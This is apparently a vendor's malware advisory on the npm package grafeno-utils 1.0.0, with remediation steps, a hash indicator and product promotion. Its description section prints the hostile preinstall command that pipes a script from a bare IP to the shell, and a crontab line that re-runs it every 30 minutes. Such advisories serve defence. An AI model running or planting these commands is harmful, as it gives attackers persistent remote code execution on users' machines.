Which versions of grafeno-utils are malicious?

The following npm versions of grafeno-utils are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate grafeno-utils if I installed it?

grafeno-utils establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed grafeno-utils — how do I know if it already compromised me?

If grafeno-utils was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is grafeno-utils part of a known attack campaign?

Yes — grafeno-utils is associated with the IN-MAL-2026-019066 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-utils across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-utils (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-utils across your stack and pipelines.

Malicious package

grafeno-utilsnpm

grafeno-utils is a confirmed malicious npm package (MAL-2026-15509) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-utils (npm)

MAL-2026-15509

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-utils

What this malware does

The package's package.json preinstall lifecycle hook uses child_process to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at npm install time. The same preinstall additionally appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-utils (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-utils across your stack and pipelines.
If you installed it — respond
grafeno-utils establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If grafeno-utils was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks grafeno-utils before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. grafeno-utils on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019066

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks grafeno-utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database